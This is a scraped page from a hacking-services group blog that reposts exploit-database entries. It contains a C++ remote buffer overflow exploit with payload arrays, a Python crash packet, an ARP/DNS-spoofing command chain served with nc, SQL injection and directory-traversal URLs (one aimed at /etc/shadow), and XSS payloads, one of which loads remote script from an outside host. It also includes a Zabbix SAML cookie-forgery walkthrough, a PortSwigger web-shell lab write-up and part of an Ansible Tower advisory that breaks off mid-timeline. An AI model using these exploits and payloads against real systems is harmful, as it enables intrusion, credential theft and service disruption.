Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863128778

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
// source: https://www.securityfocus.com/bid/48039/info

Poison Ivy is prone to an unspecified buffer-overflow vulnerability.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

Poison Ivy 2.3.2 is vulnerable; other versions may also be affected. 

# Exploit Title: Poison Ivy 2.3.2 (Latest version) remote buffer overflow
# Google Dork: No dorks.
# Date: 27/05/11
# Author: Kevin R.V <kevin.nullbyte@gmail.com>
# Software Link: http://www.poisonivy-rat.com/dl.php?file=PI232
# Version: 2.3.2
# Tested on: Windows XP SP2
# CVE : No exist.
 
/*  Poison Ivy 2.3.2 Remote Buffer Overflow
 *  Author: Kevin R.V <kevin.nullbyte@gmail.com>
 *    Date: 2011
 * License: Totally free 8-)
 * */
 
#include <iostream>
#include <winsock2.h>
 
#define VERS "0.1"
 
int   connected;
using namespace std;
 
char payload[] = {
0xb2, 0xa8, 0xc3, 0x17, 0x1c, 0x1b, 0x99, 0xb9,
0x4c, 0xab, 0x8b, 0x88, 0x3a, 0x20, 0x13, 0xb3,
0x72, 0x0e, 0x57, 0xbc, 0x9f, 0x81, 0xb9, 0x08,
0x61, 0x30, 0x87, 0x74, 0xea, 0x65, 0xb5, 0x4a,
0xc9, 0xfc, 0x87, 0xe3, 0x95, 0x9e, 0xcd, 0xcd,
0x40, 0x98, 0xd2, 0x1f, 0x31, 0xee, 0x96, 0x83,
0x3d, 0x0a, 0xfe, 0xb8, 0x9b, 0xf2, 0xe7, 0x10,
0x23, 0x64, 0xfe, 0xe9, 0x10, 0xc4, 0x9c, 0xf7,
0x29, 0xe5, 0x6b, 0xe3, 0x54, 0xbb, 0x18, 0x8b,
0x07, 0x81, 0x92, 0x5e, 0xbb, 0x35, 0x6f, 0xe4,
0x23, 0x4a, 0x0c, 0xd0, 0x1f, 0x3b, 0xd4, 0x9a,
0x5c, 0x94, 0xad, 0x8b, 0xed, 0xa4, 0xed, 0xb2,
0x14, 0x23, 0x04, 0xa5, 0xfd, 0x8e, 0x8c, 0x9b,
0xc8, 0x0f, 0x78, 0xbf, 0xf2, 0xe4, 0xfe, 0x28,
0xe9, 0x3c, 0x5d, 0x86, 0x16, 0xff, 0x59, 0x7d,
0x70, 0x6d, 0x18, 0x2d, 0xdf, 0x28, 0x66, 0x02,
0xde, 0xca, 0x20, 0xe6, 0xfd, 0xe7, 0xbf, 0x4d,
0xe8, 0x8c, 0x69, 0xdd, 0x40, 0x22, 0x8f, 0x2f,
0x55, 0x54, 0xb1, 0x60, 0x86, 0x29, 0xd0, 0x3d,
0xc7, 0x01, 0xb5, 0xdc, 0xbf, 0x63, 0x28, 0xd2,
0x4e, 0xe6, 0x29, 0xed, 0x5c, 0xee, 0x17, 0x53,
0xe1, 0x11, 0x5c, 0x61, 0x9b, 0xb0, 0xfc, 0x71,
0x6e, 0x46, 0xa9, 0x27, 0xa8, 0x21, 0x05, 0x67,
0x86, 0x24, 0x86, 0x01, 0xb8, 0xd7, 0x65, 0x11,
0x36, 0xe5, 0x16, 0x05, 0xdc, 0x8c, 0x7c, 0xa7,
0xb9, 0xee, 0xbe, 0xa6, 0xcf, 0x88, 0x67, 0x56,
0xaa, 0x61, 0xe3, 0x2c, 0x72, 0xbf, 0x5b, 0xee,
0x18, 0xc4, 0x65, 0x2c, 0x4a, 0x0d, 0x88, 0x2e,
0xad, 0x96, 0x67, 0xab, 0xc1, 0xb1, 0x95, 0x03,
0x36, 0xc8, 0x04, 0xbf, 0xe8, 0x29, 0x5a, 0xf5,
0x83, 0xe5, 0x5f, 0xe4, 0x0e, 0xe2, 0x6f, 0x6b,
0x93, 0x80, 0xe7, 0x25, 0xca, 0x44, 0xa8, 0x48 };
 
 
char payload2[] = {
0xc6, 0xa7, 0x53, 0xce, 0xdc, 0x1c, 0xdc, 0x74,
0x9a, 0xc7, 0x31, 0xdf, 0x2a, 0x21, 0x5f, 0x0e,
0x7e, 0xe6, 0x1e, 0xa1, 0xb5, 0x17, 0xc4, 0x9f,
0x4a, 0x7a, 0x81, 0xde, 0x90, 0x13, 0x37, 0x2d,
0x62, 0x3c, 0xb6, 0x10, 0x2d, 0x44, 0x57, 0xa2,
0xa0, 0xdd, 0xcb, 0x90, 0xd3, 0x83, 0x1a, 0xda,
0x89, 0x97, 0x68, 0x61, 0xce, 0x38, 0xc1, 0xc4,
0xe8, 0xb0, 0xfa, 0x0b, 0x64, 0x12, 0x73, 0xf0,
0x28, 0x24, 0x2b, 0x51, 0x78, 0x15, 0xfa, 0x27,
0xcc, 0xc7, 0x5c, 0x5c, 0x3a, 0xf8, 0xea, 0x5e,
0xd9, 0x6e, 0xd4, 0x96, 0xa0, 0x8d, 0x99, 0x13,
0x84, 0x99, 0xff, 0xba, 0x41, 0xed, 0xf3, 0x1c,
0x67, 0xb6, 0xaa, 0x5a, 0x95, 0xfd, 0x92, 0x23,
0x9a, 0x72, 0x86, 0xcd, 0xf6, 0xa1, 0xb9, 0x44,
0xbc, 0x15, 0xc3, 0xac, 0xaa, 0xd6, 0x65, 0xf1,
0x08, 0x19, 0xf5, 0x2a, 0x62, 0xe4, 0x0d, 0x4e,
0x14, 0x1f, 0x21, 0x4d, 0x0c, 0x22, 0x06, 0x98,
0x84, 0x74, 0xf7, 0xaa, 0x18, 0x90, 0xd7, 0xe5,
0x2d, 0x04, 0x45, 0xb4, 0x2f, 0xbc, 0xdc, 0x97,
0xd2, 0x9b, 0x25, 0xe5, 0x4d, 0xb3, 0x51, 0x5f,
0x1a, 0x93, 0xe4, 0x97, 0x51, 0xc7, 0xd9, 0x81,
0x52, 0xee, 0x11, 0x83, 0x51, 0xb1, 0xd5, 0x34,
0x6f, 0xf1, 0xea, 0x9e, 0xbf, 0x4b, 0x6e, 0x33,
0x0d, 0x8a, 0x73, 0x15, 0xb9, 0xde, 0x92, 0x53,
0xd3, 0xfd, 0x5a, 0xcf, 0x69, 0xde, 0x19, 0x29,
0x05, 0xa1, 0x50, 0x78, 0x14, 0x81, 0xe5, 0xf1,
0x74, 0xea, 0x8c, 0x82, 0x58, 0x93, 0x74, 0x4f,
0x5a, 0x77, 0xb5, 0xde, 0x17, 0xd1, 0x48, 0x44,
0x1b, 0x1f, 0x32, 0x30, 0x9f, 0x64, 0x7c, 0x22,
0x4e, 0xd4, 0x1a, 0xae, 0x77, 0x01, 0x2b, 0x1f };
 
 
char payload3[] = {
0xe0, 0xf5, 0x3d, 0xc1, 0xf0, 0xea, 0x15, 0xdb,
0x43, 0x3e, 0x65, 0xf8, 0x9b, 0xe2, 0x14, 0xba,
0x90, 0x48, 0x5c, 0xd5, 0xec, 0x70, 0xa3, 0x8b,
0x41, 0x72, 0x28, 0x50, 0xec, 0xf6, 0xd5, 0x2a,
0xe6, 0x06, 0x46, 0xb2, 0xc5, 0x0c, 0x96, 0x6a,
0x69, 0x86, 0x6b, 0x12, 0xe4, 0x93, 0xe5, 0x11 };
     
 
 
int PoC(char * host, unsigned int port)
{
    WSADATA wsa;
    WSAStartup(MAKEWORD(2,0),&wsa);
    SOCKET sock;
    struct sockaddr_in  local;
    sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
    local.sin_family = AF_INET;
    local.sin_addr.s_addr = inet_addr(host);
    local.sin_port = htons(port);
    if (connect(sock, (struct sockaddr *)&local, sizeof(local) ) == 0 )
    {
            connected = 1;
            cout << ".";
            for(long int i = 0; i<99; i++)
            {
                sendto(sock, payload, sizeof(payload), 0, (struct sockaddr *)&local,sizeof(local));
                sendto(sock, payload2, sizeof(payload2), 0, (struct sockaddr *)&local,sizeof(local));
                sendto(sock, payload3, sizeof(payload3), 0, (struct sockaddr *)&local,sizeof(local));
            }
             
            PoC(host, port);
    }
     
    else
    {
        if ( connected )
        cout << endl << endl << "[+] Congrats, poison-ivy crashed!!" << endl;
        else
        cout << endl << endl << "[-] Sorry not poison ivy detected 8-(" << endl;
    }
}
int main(int argc, char *argv[])
 
{
    cout << "Poison-ivy remote buffer overflow " VERS << endl << endl;
    cout << "by Kevin R.V <kevin.nullbyte@gmail.com" << endl;
    if ( argc < 2 )
    {
        cout << "Usage: " << argv[0] << ".exe -h <ip> -p <port>" << endl << endl;
        exit(-1);
    }
     
    u_short port;
    char * ip;
     
    for(int i = 0; i<argc; i++)
    {
        if( ! strcmp(argv[i], "-h") != 0 )
        ip = argv[i+1];
        else if( ! strcmp(argv[i], "-p") != 0 )
        port = atoi(argv[i+1]);
    }
     
    cout << "[+] Starting exploit" << endl << endl;
    PoC(ip, port);
     
     
    return 1;
}
HireHackking 
source: https://www.securityfocus.com/bid/48030/info

Gadu-Gadu is prone to a remote code-execution vulnerability.

Successful exploits will allow remote attackers to execute arbitrary code within the context of the affected application.

Gadu-Gadu 10.5 is affected; other versions may also be vulnerable. 

# echo 1 > /proc/sys/net/ipv4/ip_forward
# arp -s GW_IP GW_MAC
# arpspoof -i eth0 GW_IP
# echo "YOURIP *.adocean.pl" > /tmp/x
# dnsspoof -i eth0 -f /tmp/x
# while [ 1 ] ; do echo -ne "HTTP/1.0 200 OK\r\nConnection:
close\r\nContent-Length: 239\r\nContent-Type:
text/html\r\n\r\nb=document.getElementsByTagName(\"body\").item(0);\r\nb.innerHTML='<a
id=\"a\" href=\"c:/windows/notepad.exe\"></a>';\r\na=document.getElementById('a');\r\ne=document.createEvent('HTMLEvents');\r\ne.initEvent('click',
true, true);\r\na.dispatchEvent(e);\r\n" | nc -l 80 ; done
HireHackking 
source: https://www.securityfocus.com/bid/48029/info

NetVault: SmartDisk is prone to a remote denial-of-service vulnerability.

A successful exploit will cause the application to crash, effectively denying service.

NOTE: Remote code execution may be possible; however, this has not been confirmed.

NetVault: SmartDisk versions 1.2.2 and prior are affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/35804.zip
HireHackking 
source: https://www.securityfocus.com/bid/48028/info

Cotonti is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

Cotonti 0.9.2 is vulnerable; other versions may also be affected. 

http://www.example.com/users.php?s=-2+AND+31337=0
http://www.example.com/forums.php?m=topics&s=offtopic&ord=-2+AND+31337=0
HireHackking 
source: https://www.securityfocus.com/bid/48009/info

Blackboard Learn is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Blackboard Learn 8.0 is vulnerable; other versions may also be affected. 

http://www.example.com/bin/common/search.pl?action=RESULTS&amp;context=USERDIR&amp;type=SEARCH&amp;operation=VIEW&amp;keyword=abcd&amp;keywordraw=%22abcd%22/%3E%3Cscript+src%3Dhttp://www.example2.com/js/alert.js%3E%3C/script%3E%3Ca+href%3D%22test%22%3Ewhat%3C/a&amp;x=26&amp;y=15&amp;by=user_id
HireHackking 
source: https://www.securityfocus.com/bid/48008/info

Asterisk is prone to a user-enumeration weakness.

An attacker may leverage this issue to harvest valid usernames, which may aid in brute-force attacks.

This issue affects Asterisk 1.8.4.1; other versions may also be affected. 


REGISTER sip:192.168.2.1 SIP/2.0
CSeq: 123 REGISTER
Via: SIP/2.0/UDP localhost:5060;branch=z9hG4bK78adb2cd-0671-e011-81a1-a1816009ca7a;rport
User-Agent: TT
From: <sip:500@192.168.2.1>;tag=642d29cd-0671-e011-81a1-a1816009ca7a
Call-ID: 2e2f07e0499cec3abf7045ef3610f0f2
To: <sip:500@192.168.2.1>
Refer-To: sip:500@192.168.2.1
Contact: <sip:500@localhost>;q=1
Allow: INVITE,ACK,OPTIONS,BYE,CANCEL,SUBSCRIBE,NOTIFY,REFER,MESSAGE,INFO,PING
Expires: 3600
Content-Length: 28000
Max-Forwards: 70
HireHackking

0x00はじめに

最近、Zabbixの脆弱性（CVE-2022-23131）がそれを再現し、誤って外国企業のZabbixサーバーを取得しました。 Zabbix Sia Zabbixは、ラトビアのZabbix SIA（Zabbix SIA）のオープンソース監視システムです。このシステムは、ネットワーク監視、サーバー監視、クラウド監視、アプリケーション監視をサポートします。 Zabbix Frontendには、悪意のあるアクターがセッションに保存されているユーザーログインが検証されていないため、SAML SSO認証（非デフォルト）を有効にしてセッションデータを変更できるセキュリティの脆弱性があります。認可されていない悪意のある攻撃者は、この問題を活用してアクセス許可をエスカレートし、Zabbixのフロントエンドへの管理者アクセスを獲得する場合があります。

0x01脆弱性原因

SAML SSO Authentication Enabled（非デフォルト）を使用して、悪意のある攻撃者はセッションデータを変更して認証バイパスを実装できます。認可されていない悪意のある攻撃者は、この問題を活用してアクセス許可をエスカレートし、Zabbixのフロントエンドへの管理者アクセスを獲得する場合があります。

この脆弱性は、index_sso.phpファイルに存在します。 index_sso.phpファイルはcencryptedcookiesession3:checksign（）メソッドを呼び出しておらず、クッキーを検証するため、クライアントのCookieを偽造できます。

index_sso.phpファイルから、forged cookieにsaml_dataが存在すると、username_attributeデータが取得されることがわかります。ユーザーが実際に存在する場合、セッションIDが生成され、アイデンティティ認証バイパスを実現します

0x02脆弱性の影響

5.4.8

5.0.18

4.0.36

0x03脆弱性の再発

FOFA：app='zabbix-supervision system' body='saml'execution curl -kssil http://xxx.com/

image-20220228135432625

セットクッキーの値を取得し、URLデコードを実行してから、base64デコード

URLデコード：

eyjzzxnzaw9uawqioiixnzfiodawoti4ndq2mmuxzgrhodayywfjodk5mdi2yyisinnpz24ioij0etzszvkzvddeyenjsef m2zlpyntrht3pcmhbhs25vwwhzdr3mhdkc2lwntj2audndulpqevjyquj5wdk5bghnmvvhbfm4ctrwnjbkb1wvugc9psj9

base64デコード：

{'SESSIONID':'171B8009284462E1DDA802AAC899026C'、 'SIGN':'TY6REY3T4QTGX zrlxs6fzr54aozb0paknoxpad4w0wjsip52viggw+crzjyrrabyx99lhm1ugls8q4p60jo \/pg=='}

image-20220228135629785

次に、文字列をスプライスします

{'saml_data': {' username_attribute':'admin '}、' sessionid':'171b8009284462e1dda802aac899026c '' '、 'sign':'ty6rey3t4qtgxzrlxs6fzr54aozb0paknoxpad4w0wjsip52vigggw+crzjyrrabyx999lhm1ugls8q4p60jo \/pg='}}}}}

スプライシング後、Base64暗号化が実行されます

image-20220228142358256

次に、urlencodeで

image-20220228142419540

image-20220228142545863

コマンドを実行

image-20220228142656315

管理- スクリプトを見つけて新しいスクリプトを作成します。ここで作成しましたifconfig

image-20220228143058058

image-20220228142800341

監視の最新のデータを見つけてから、実行するホストグループを除外し、ホスト名をクリックして対応するコマンドを実行します

image-20220228142957655

または、Github Exploitスクリプト：https://github.com/l0ading-x/cve-2022-23131https://github.com/mr-xn/cve-2022-23131スクリプトを実行します。1049983-20220303100933103-1583005440.jpg交換用クッキーのZBX_SESSION値はペイロードです。次に、シングルサインオン（SAML）1049983-20220303100933863-1203796296.jpgでサインインをクリックします。1049983-20220303100934820-1396911793.jpg

0x04修復方法

1。SAML認証を無効にします

2.セキュリティバージョンをアップグレードする（https://Support.zabbix.com/browse/zbx-20350）

HireHackking 
source: https://www.securityfocus.com/bid/47976/info

The RXS-3211 IP camera is prone to an information-disclosure vulnerability.

Successful exploits will allow a remote attacker to gain access to sensitive information. Information obtained will aid in further attacks. 

the following proof of concept is available:

\xff\xff\xff\xff\xff\xff\x00\x06\xff\xf9
HireHackking 
source: https://www.securityfocus.com/bid/47975/info

Vordel Gateway is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

A remote attacker could exploit this vulnerability using directory-traversal strings (such as '../') to gain access to arbitrary files on the targeted system. This may result in the disclosure of sensitive information or lead to a complete compromise of the affected computer.

Vordel Gateway 6.0.3 is vulnerable; other versions may also be affected. 

http://www.example.com:8090/manager/..%2f..%2f..%2f..%2f..%2f..%2fetc%2fshadow
HireHackking

En este post vamos a estar resolviendo el laboratorio de PortSwigger: “Remote Code Execution via Web Shell Upload”.

image 194

Para resolver el laboratorio tenemos que subir un archivo PHP que lea y nos muestre el contenido del archivo /home/carlos/secret. Ya que para demostrar que hemos completado el laboratorio, deberemos introducir el contenido de este archivo.

En este caso, el propio laboratorio nos proporciona una cuenta para iniciar sesión, por lo que vamos a hacerlo:

image 195
image 196

Una vez hemos iniciado sesión, nos encontramos con el perfil de la cuenta:

image 197

Como podemos ver, tenemos una opción para subir archivo, y concretamente parece ser que se trata de actualizar el avatar del perfil. Vamos a intentar aprovecharnos de esta opción para subir el siguiente archivo PHP:

image 198
/home/carlos/secret
image 199
image 200

Una vez seleccionado, le damos a Upload, y se nos redireccionará a una página donde se nos dirá que el archivo ha sido subido correctamente:

image 201

Por lo que ahora, si nos fijamos en el perfil, podemos ver como el avatar ha cambiado, y ahora muestra un fallo de que no carga bien la imagen.

image 202

Dándole click derecho, podemos irnos a la ruta directa de la imagen para ver si se trata de nuestro archivo PHP:

image 203
image 204

Efectivamente, el archivo PHP que hemos subido se ha almacenado como el archivo del avatar, por eso no cargaba en el perfil, intentaba cargar una imagen cuando no lo era. Al visitar el archivo PHP, se ha interpretado el código que hemos colocado, y conseguimos leer el archivo secret.

Habiendo leído este archivo, ya simplemente entregamos la respuesta:

image 205
image 206

Y de esta forma, completamos el laboratorio:

image 207
image 208

HireHackking 
source: https://www.securityfocus.com/bid/47973/info

Kryn.cms is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Kryn.cms 0.9 is vulnerable; other versions may also be affected. 

http://www.example.com/kyrn/index.php?_kurl=%3Cscript%3Ealert%280%29%3C/script%3E
HireHackking 
source: https://www.securityfocus.com/bid/47971/info

The 'com_shop' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/index.php?option=com_shop&task=viewproduct&editid=[SQLi]
HireHackking 
source: https://www.securityfocus.com/bid/47970/info

MidiCMS Website Builder is prone to a local file-include vulnerability and an arbitrary-file-upload vulnerability.

An attacker can exploit these issues to upload arbitrary files onto the webserver, execute arbitrary local files within the context of the webserver, and obtain sensitive information.

MidiCMS Website Builder 2011 is vulnerable; other versions may also be affected. 

http://www.example.com/admin/jscripts/tiny_mce/plugins/ezfilemanager/index.php
http://www.example.com/?html=../../../../../../../../../../boot.ini%00
HireHackking 
source: https://www.securityfocus.com/bid/47957/info

Gadu-Gadu Instant Messenger is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. 

file name that loads external x.js code:
<input
onfocus="eval(unescape('x%3Ddocument.getElementsByTagName%28%27head%27%29.item%280%29%3By%3Ddocument.createElement%28%27script%27%29%3By.src%3D%27http:%2f%2fasd.pl%2fx.js%27%3Bx.appendChild%28y%29%3B'));this.setAttribute('onfocus',0);"
autofocus>

example x.js code to hide, accept and open every file request:

document.getElementById('extra').innerHTML = '<style>.file,
.entrySeparator{display:none;}</style>';
n = document.getElementById('open_file');
n.setAttribute('id', '');

function ff(){
    if(f = document.getElementById('open_file')) {
        e = document.createEvent("HTMLEvents");
        e.initEvent('click', true, true);
        f.dispatchEvent(e);
        f.setAttribute('id', '');
    }
    setTimeout('ff()', 1000);
}

ff();
HireHackking 
source: https://www.securityfocus.com/bid/47953/info

Ajax Chat is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Ajax Chat 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/ajax-chat/ajax-chat.php?chat_path=%27%3C/script%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
HireHackking 
source: https://www.securityfocus.com/bid/47952/info

Lumension Security Lumension Device Control (formerly Sanctuary) is prone to a memory-corruption vulnerability.

An attacker can exploit this issue to cause a denial-of-service condition. Due to the nature of this issue, remote code execution is possible but has not been confirmed.

Lumension Device Control 4.4 SR6 is vulnerable; other versions may also be affected. 

#!/usr/local/bin/python

import sys
from socket import *
import os

if (len(sys.argv)!=2):
	print "\n--------------------------------------------------"
	print "Usage: %s <target IP>" % sys.argv[0]
	print "--------------------------------------------------\n"
	exit(0)

host=sys.argv[1]
port=65129

packet1 =  "\xec\x02\x00\x00"	#length of remaining packet
packet1 += "\xc9\x00\x00\x00"	#some kind of packet ID?
#packet1 += "\x18\x00\x00\x00"
packet1 += "\x61\x61\x61\x61"	#crash occurs here

packet1 += "\xc8\x02\x00\x00\xd4\xf8\x27\xe3\x51\xdf\xc9\x48\x82\xc3"
packet1 += "\xdb\x73\xbf\x42\xce\x77\xec\x00\x00\x00\x00\x00\x00\x00\x01\x00"
packet1 += "\x00\x00\x0d\xd8\x91\x32\x61\xf4\x43\xa1\xe1\x8e\x27\x68\x6d\xde"
packet1 += "\xbe\x1d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x95\x00\x05\x01"
packet1 += "\x03\x00\x00\x03\x01\x10\x02\x00\x00\x00\x00\x00\x00\x00"
packet1 += "\x34\x2e\x34\x2e\x31\x34\x35\x32" #client version
packet1 += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
packet1 += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd6\x5e"
packet1 += "\xe0\x81\xdb\xd8\xcb\x01\xe4\x95\x45\xe1\xdb\xd8\xcb\x01\x7c\x99"
packet1 += "\x47\xbc\xdb\xd8\xcb\x01\xd6\xbc\xb0\x34\xdc\xd8\xcb\x01\x02\x00"
packet1 += "\x00\x00\x9c\x47\x57\x00\xd4\xf8\x27\xe3\x51\xdf\xc9\x48\x82\xc3"
packet1 += "\xdb\x73\xbf\x42\xce\x77\xec\x00\x00\x00\x00\x00\x00\x00\x00\x00"
packet1 += "\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
packet1 += "\xc0\xa8\x00\x6b" #client IP address
packet1 += "\xff\xff\xff\x00" #client subnet mask
packet1 += "\x61\x00\x63\x00\x65\x00\x72\x00\x2d\x00\x65\x00\x38\x00"
packet1 += "\x31\x00\x37\x00\x66\x00\x61\x00\x65\x00\x30\x00\x64\x00\x38\x00" # client hostname
packet1 += "\x00" * 480
packet1 += "\x00\x00\x40\xfc\xba\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80"
packet1 += "\x85\xcc\x23\x00\x00\x00\x80\xee\x36\x00\x93\x84\xde\x84\x02\x00"
packet1 += "\x00\x00\x00\x00\x00\x00"

s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
s.send(packet1)
print s.recv(1024)
s.close()
HireHackking 
source:  https://www.securityfocus.com/bid/47951/info

phpScheduleIt is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

phpScheduleIt 1.2.12 is vulnerable; other versions may also be affected. 

http://www.example.com/forgot_pwd.php/[xss]
http://www.example.com/index.php/[xss]
http://www.example.com/register.php/[xss]
http://www.example.com/roschedule.php/[xss]
http://www.example.com/popCalendar.php?scheduleid=[xss]
HireHackking 
source: https://www.securityfocus.com/bid/47941/info

The 'com_maplocator' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_maplocator&view=state&cid= null+AND+1=0+union+select+1,2,concat(username,0x3a,password)fl0rix,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+jos_users--
HireHackking 
source: https://www.securityfocus.com/bid/47931/info

LimeSurvey is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

LimeSurvey 1.85+ is vulnerable; other versions may also be affected.

POST /admin/admin.php HTTP/1.1
Content-Length: 110
Accept: application/x-ms-application, image/jpeg, application/xaml+xml, image/gif,
image/pjpeg, application/x-ms-xbap, application/vnd.ms-excel, application/vnd.mspowerpoint,
application/msword, application/x-shockwave-flash, */*
Referer: http://xxx.xxx.xxx.xxx/admin/admin.php
Accept-Language: es-AR
Content-Type: application/x-www-form-urlencoded
Host: xxx.xxx.xxx.xxx
Pragma: no-cache
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
user=admin&password=test&loginlang=default&action=login&refererargs="/><script
>alert(document.cookie)</script>
HireHackking 
SEC Consult Vulnerability Lab Security Advisory < 20150113-1 >
=======================================================================
              title: Privilege Escalation & XSS & Missing Authentication
            product: Ansible Tower
 vulnerable version: <=2.0.2
      fixed version: >=2.0.5
             impact: high
           homepage: http://www.ansible.com/tower
              found: 2014-10-15
                 by: Manuel Hofer
                     SEC Consult Vulnerability Lab
                     https://www.sec-consult.com
=======================================================================

Vendor description:
-------------------
"Ansible Tower is the easy-to-use UI and dashboard and REST API for Ansible.
Centralize your Ansible infrastructure from a modern UI, featuring role-based
access control, job scheduling, and graphical inventory management. Tower's
REST API and CLI make it easy to embed Tower into existing tools and processes.
Tower now includes real-time output of playbook runs, an all-new dashboard and
expanded out-of-the-box cloud support."

source: http://www.ansible.com/tower


Business recommendation:
------------------------
Attackers are able to elevate privileges and gain full control over Ansible
Tower and therefore access to sensitive data of other customers.

It is assumed that further vulnerabilities exist as only a short crash test has
been performed. Therefore it is recommended to perform a thorough security
review by security professionals.


Vulnerability overview/description:
-----------------------------------
1) Privilege Escalation
Ansible Tower provides the feature to create multiple organizations inside
one tower instance. Each organization can have an unlimited number of users
and administrators which are only allowed to perform actions in the context
of their own organization. Due to missing validation of the "is_superuser"
parameter during user creation, organization admins can create superadmin
accounts and therefore elevate their privileges to gain full control of
Ansible Tower.


2) Reflected Cross-Site Scripting
Several parts of the Ansible Tower API have been identified to be vulnerable
against reflected XSS attacks which can be used by an attacker to steal user
sessions.


3) Missing Websocket Authentication / Information Leakage
The Ansible Tower UI uses Websockets to notify clients about recent events.
This part of the application lacks authentication as well as authorization,
leading to internal data about e.g. scheduled events, being leaked to
unauthorized and/or unauthenticated users.


Proof of concept:
-----------------
1) Privilege Escalation (Org-Admin to Superadmin)
Using the following request, a user with administrative privileges limited to an
organization, can create a superadmin account with access to all organizations:

> POST /api/v1/organizations/3/users/ HTTP/1.1
> Host: $host
> Authorization: Token c3f03841403a17ed79753e057167a62144dae7df
> X-Auth-Token: Token c3f03841403a17ed79753e057167a62144dae7df
>
> {"first_name":"Org1admin_superuser","last_name":"Org1admin_superuser",
> "email":"Org1admin_superuser@local.local","organization":3,
> "username":"Org1admin_superuser","password":"Org1admin_superuser",
> "password_confirm":"Org1admin_superuser","is_superuser":"true","ldap_user":""}


2) Reflected Cross-Site Scripting
The following URL parameters have been identified to be vulnerable against
reflected cross-site scripting:
 * URL: /api/v1/credentials/, Parameter: order_by
 * URL: /api/v1/inventories/, Parameter: order_by
 * URL: /api/v1/projects/, Parameter: order_by
 * URL: /api/v1/schedules/, Parameter: next_run
 * URL: /api/v1/users/3/permissions/, Parameter: order_by

It is likely that similar issues exist in other parts of the application.


3) Missing Websocket Authentication / Information Leakage
An attacker can setup a websocket connection without providing any credentials
as follows. By issuing a GET request to "https://tower:8080/socket.io/1/" the
server responds with the following string:
> 43167469538:60:60:websocket,xhr-multipart,htmlfilonp-polling[...]

The first integer value can further be used to establish a websocket connection:
#~% openssl s_client -verify 0 -connect tower:8080
> GET /socket.io/1/websocket/43167469538 HTTP/1.1
> Host: tower:8080
> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
> Accept-Language: en-US,en;q=0.5
> Accept-Encoding: gzip, deflate
> Sec-WebSocket-Version: 13
> Origin: https://tower
> Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
> Connection: keep-alive, Upgrade
> Pragma: no-cache
> Cache-Control: no-cache
> Upgrade: websocket
>
>

The websocket key seen above, has been taken from the examples of the wikipedia
page on WebSockets (http://de.wikipedia.org/wiki/WebSocket) as it is only used
to verify that the server received and understood the message.

The server responds as follows:
< HTTP/1.1 101 Switching Protocols
< Upgrade: websocket
< Connection: Upgrade
< Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=

Now that the websocket connection has been established, data that would
otherwise be presented to logged in users to display status updates for "job
related events" inside tower, can now be observed without any authentication.
Following an example of data received through the websocket connection.
> 5::/socket.io/jobs:{"args":{"status":"pending","project_id":56,
> "unified_job_id":61,"event":"status_changed","endpoint":"/socket.io/jobs"},
> "name":"status_changed"}

Even tough no critical information has been identified leaking through the
websocket, this should still be protected with proper authentication and
authorization because it might aid an attacker in conducting further attacks.


Vulnerable / tested versions:
-----------------------------
Ansible Tower version v2.0.2 has been tested which was the most recent version
at the time of discovery.


Vendor contact timeline:
------------------------
2014-10-22: Contacting vendor through security@ansible.com and asking for
